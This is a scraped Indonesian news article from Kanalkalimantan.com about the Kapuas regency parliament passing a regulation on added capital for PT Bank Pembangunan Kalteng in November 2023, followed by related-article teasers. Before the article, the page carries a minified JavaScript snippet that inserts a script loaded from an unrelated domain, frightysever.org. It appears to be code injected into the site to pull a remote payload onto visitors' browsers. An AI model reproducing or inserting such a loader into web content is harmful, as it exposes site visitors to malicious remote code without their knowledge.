(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Raperda perubahan ketiga atas Perda Kabupaten Kapuas Nomor 8 tahun 2011 tentang penambahan penyertaan modal Pemkab Kapuas pada PT Bank Pembangunan Kalteng, akhirnya disahkan, Selasa (28/11/2023) siang.
Pengesahan Raperda itu ditandai dengan penandatanganan bersama oleh pimpinan Dewan Perwakilan Rakyat Daerah (DPRD) bersama Pj Bupati Kapuas pada rapat paripurna ke-10 DPRD Kapuas di ruang rapat paripurna DPRD Kapuas.
Baca juga: Kampanye Dimulai, Politik Uang di Medsos Bermodus Give Away
Rapat paripurna dipimpin Wakil Ketua II, Evan Rahman Saputra dan diikuti anggota dewan lainnya.
Dari eksekutif dihadiri Pj Bupati Kapuas Erlin Hardi, Sekda Septedy dan para kepala SKPD lingkup Setda Kapuas. Juga hadir unsur Forkopimda, pimpinan PT Bank Pembangunan Kalteng Cabang Kapuas dan undangan lainnya.
Baca juga: Fase Bulan Purnama, Masyarakat Pesisir Kalsel Diminta Waspada Banjir Rob
“Rapat peripurna ke 10 masa persidangan I tahun sidang 2023 – 2024 pada hari ini resmi dibuka dan terbuka untuk umum,” kata Wakil Ketua II DPRD Evan Rahman saat membuka rapat.
Selanjutnya, Sekretaris DPRD Kapuas Ferry Noah membacakan susunan agenda rapat paripurna pada hari tersebut. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
This website uses cookies.